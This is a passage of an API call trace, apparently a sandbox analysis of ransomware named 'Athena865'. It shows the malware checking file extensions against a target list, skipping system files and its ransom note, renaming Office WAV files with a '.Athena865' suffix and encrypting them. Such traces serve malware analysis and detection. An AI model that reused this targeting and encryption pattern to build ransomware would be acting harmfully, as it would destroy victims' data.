lstrlenW (lpString="sqlitedb") returned 8 [0152.826] lstrcmpiW (lpString1="IMES.WAV", lpString2="sqlitedb") returned -1 [0152.826] lstrlenW (lpString="xml") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.826] lstrlenW (lpString="$er") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.826] lstrlenW (lpString="4dd") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.826] lstrlenW (lpString="4dl") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.826] lstrlenW (lpString="^^^") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.826] lstrlenW (lpString="abs") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.826] lstrlenW (lpString="abx") returned 3 [0152.826] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.826] lstrlenW (lpString="accdb") returned 5 [0152.826] lstrcmpiW (lpString1="S.WAV", lpString2="accdb") returned 1 [0152.826] lstrlenW (lpString="accdc") returned 5 [0152.826] lstrcmpiW (lpString1="S.WAV", lpString2="accdc") returned 1 [0152.826] lstrlenW (lpString="accde") returned 5 [0152.826] lstrcmpiW (lpString1="S.WAV", lpString2="accde") returned 1 [0152.826] lstrlenW (lpString="accdr") returned 5 [0152.826] lstrcmpiW (lpString1="S.WAV", lpString2="accdr") returned 1 [0152.826] lstrlenW (lpString="accdt") returned 5 [0152.826] lstrcmpiW (lpString1="S.WAV", lpString2="accdt") returned 1 [0152.826] lstrlenW (lpString="accdw") returned 5 [0152.826] lstrcmpiW (lpString1="S.WAV", lpString2="accdw") returned 1 [0152.826] lstrlenW (lpString="accft") returned 5 [0152.827] lstrcmpiW (lpString1="S.WAV", lpString2="accft") returned 1 [0152.827] lstrlenW (lpString="adb") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.827] lstrlenW (lpString="adb") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.827] lstrlenW (lpString="ade") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.827] lstrlenW (lpString="adf") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.827] lstrlenW (lpString="adn") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.827] lstrlenW (lpString="adp") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.827] lstrlenW (lpString="alf") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.827] lstrlenW (lpString="ask") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.827] lstrlenW (lpString="btr") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.827] lstrlenW (lpString="cat") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.827] lstrlenW (lpString="cdb") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.827] lstrlenW (lpString="ckp") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.827] lstrlenW (lpString="cma") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.827] lstrlenW (lpString="cpd") returned 3 [0152.827] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.828] lstrlenW (lpString="dacpac") returned 6 [0152.828] lstrcmpiW (lpString1="ES.WAV", lpString2="dacpac") returned 1 [0152.828] lstrlenW (lpString="dad") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.828] lstrlenW (lpString="dadiagrams") returned 10 [0152.828] lstrlenW (lpString="daschema") returned 8 [0152.828] lstrcmpiW (lpString1="IMES.WAV", lpString2="daschema") returned 1 [0152.828] lstrlenW (lpString="db-journal") returned 10 [0152.828] lstrlenW (lpString="db-shm") returned 6 [0152.828] lstrcmpiW (lpString1="ES.WAV", lpString2="db-shm") returned 1 [0152.828] lstrlenW (lpString="db-wal") returned 6 [0152.828] lstrcmpiW (lpString1="ES.WAV", lpString2="db-wal") returned 1 [0152.828] lstrlenW (lpString="dbc") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.828] lstrlenW (lpString="dbs") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.828] lstrlenW (lpString="dbt") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.828] lstrlenW (lpString="dbv") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.828] lstrlenW (lpString="dbx") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.828] lstrlenW (lpString="dcb") returned 3 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.828] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.829] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.829] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.Athena865") returned 69 [0152.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav.athena865"), dwFlags=0x1) returned 1 [0152.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.831] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37310) returned 1 [0152.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.831] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.832] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.832] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.832] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94c0, lpName=0x0) returned 0x154 [0152.833] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94c0) returned 0x100000 [0152.840] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.840] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.840] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.841] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.842] CloseHandle (hObject=0x154) returned 1 [0152.842] CloseHandle (hObject=0x17c) returned 1 [0152.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbd3c00, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffbd3c00, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLICK.WAV", cAlternateFileName="")) returned 1 [0152.842] lstrcmpiW (lpString1="CLICK.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.842] lstrcmpiW (lpString1="CLICK.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.842] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".") returned 1 [0152.842] lstrcmpiW (lpString1="CLICK.WAV", lpString2="..") returned 1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="windows") returned -1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="bootmgr") returned 1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="temp") returned -1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="pagefile.sys") returned -1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="boot") returned 1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="ids.txt") returned -1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="ntuser.dat") returned -1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="perflogs") returned -1 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2="MSBuild") returned -1 [0152.843] lstrlenW (lpString="CLICK.WAV") returned 9 [0152.843] lstrcpyW (in: lpString1=0x241e8aa, lpString2="CLICK.WAV" | out: lpString1="CLICK.WAV") returned="CLICK.WAV" [0152.843] lstrlenW (lpString="CLICK.WAV") returned 9 [0152.843] lstrlenW (lpString="Athena865") returned 9 [0152.843] lstrlenW (lpString=".dll") returned 4 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".dll") returned 1 [0152.843] lstrlenW (lpString=".lnk") returned 4 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".lnk") returned 1 [0152.843] lstrlenW (lpString=".ini") returned 4 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".ini") returned 1 [0152.843] lstrlenW (lpString=".sys") returned 4 [0152.843] lstrcmpiW (lpString1="CLICK.WAV", lpString2=".sys") returned 1 [0152.843] lstrlenW (lpString="CLICK.WAV") returned 9 [0152.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.Athena865") returned 68 [0152.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav.athena865"), dwFlags=0x1) returned 1 [0152.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.847] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=616) returned 1 [0152.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.848] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.848] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.848] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.848] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x154 [0152.852] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0152.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.855] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.855] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.856] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.856] CloseHandle (hObject=0x154) returned 1 [0152.856] CloseHandle (hObject=0x17c) returned 1 [0152.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.856] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0cc600, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0cc600, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COIN.WAV", cAlternateFileName="")) returned 1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2=".") returned 1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="..") returned 1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="windows") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="bootmgr") returned 1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="temp") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="pagefile.sys") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="boot") returned 1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="ids.txt") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="ntuser.dat") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="perflogs") returned -1 [0152.856] lstrcmpiW (lpString1="COIN.WAV", lpString2="MSBuild") returned -1 [0152.857] lstrlenW (lpString="COIN.WAV") returned 8 [0152.857] lstrcpyW (in: lpString1=0x241e8aa, lpString2="COIN.WAV" | out: lpString1="COIN.WAV") returned="COIN.WAV" [0152.857] lstrlenW (lpString="COIN.WAV") returned 8 [0152.857] lstrlenW (lpString="Athena865") returned 9 [0152.857] lstrlenW (lpString=".dll") returned 4 [0152.857] lstrcmpiW (lpString1="COIN.WAV", lpString2=".dll") returned 1 [0152.857] lstrlenW (lpString=".lnk") returned 4 [0152.857] lstrcmpiW (lpString1="COIN.WAV", lpString2=".lnk") returned 1 [0152.857] lstrlenW (lpString=".ini") returned 4 [0152.857] lstrcmpiW (lpString1="COIN.WAV", lpString2=".ini") returned 1 [0152.857] lstrlenW (lpString=".sys") returned 4 [0152.857] lstrcmpiW (lpString1="COIN.WAV", lpString2=".sys") returned 1 [0152.857] lstrlenW (lpString="COIN.WAV") returned 8 [0152.857] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.Athena865") returned 67 [0152.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav.athena865"), dwFlags=0x1) returned 1 [0152.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.859] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5564) returned 1 [0152.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.859] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.860] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.860] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.860] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18c0, lpName=0x0) returned 0x154 [0152.862] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18c0) returned 0x100000 [0152.864] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.865] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.865] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.865] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.866] CloseHandle (hObject=0x154) returned 1 [0152.866] CloseHandle (hObject=0x17c) returned 1 [0152.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.866] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x4be2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRUMROLL.WAV", cAlternateFileName="")) returned 1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".") returned 1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="..") returned 1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="windows") returned -1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="bootmgr") returned 1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="temp") returned -1 [0152.866] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="pagefile.sys") returned -1 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="boot") returned 1 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="ids.txt") returned -1 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="ntuser.dat") returned -1 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="perflogs") returned -1 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2="MSBuild") returned -1 [0152.867] lstrlenW (lpString="DRUMROLL.WAV") returned 12 [0152.867] lstrcpyW (in: lpString1=0x241e8aa, lpString2="DRUMROLL.WAV" | out: lpString1="DRUMROLL.WAV") returned="DRUMROLL.WAV" [0152.867] lstrlenW (lpString="DRUMROLL.WAV") returned 12 [0152.867] lstrlenW (lpString="Athena865") returned 9 [0152.867] lstrcmpiW (lpString1="MROLL.WAV", lpString2="Athena865") returned 1 [0152.867] lstrlenW (lpString=".dll") returned 4 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".dll") returned 1 [0152.867] lstrlenW (lpString=".lnk") returned 4 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".lnk") returned 1 [0152.867] lstrlenW (lpString=".ini") returned 4 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".ini") returned 1 [0152.867] lstrlenW (lpString=".sys") returned 4 [0152.867] lstrcmpiW (lpString1="DRUMROLL.WAV", lpString2=".sys") returned 1 [0152.867] lstrlenW (lpString="DRUMROLL.WAV") returned 12 [0152.867] lstrlenW (lpString="bak") returned 3 [0152.867] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.867] lstrlenW (lpString="ba_") returned 3 [0152.867] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.867] lstrlenW (lpString="dbb") returned 3 [0152.867] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.867] lstrlenW (lpString="vmdk") returned 4 [0152.867] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.867] lstrlenW (lpString="rar") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.868] lstrlenW (lpString="zip") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.868] lstrlenW (lpString="tgz") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.868] lstrlenW (lpString="vbox") returned 4 [0152.868] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.868] lstrlenW (lpString="vdi") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.868] lstrlenW (lpString="vhd") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.868] lstrlenW (lpString="vhdx") returned 4 [0152.868] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.868] lstrlenW (lpString="avhd") returned 4 [0152.868] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.868] lstrlenW (lpString="db") returned 2 [0152.868] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.868] lstrlenW (lpString="db2") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.868] lstrlenW (lpString="db3") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.868] lstrlenW (lpString="dbf") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.868] lstrlenW (lpString="mdf") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.868] lstrlenW (lpString="mdb") returned 3 [0152.868] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.868] lstrlenW (lpString="sql") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.869] lstrlenW (lpString="sqlite") returned 6 [0152.869] lstrcmpiW (lpString1="LL.WAV", 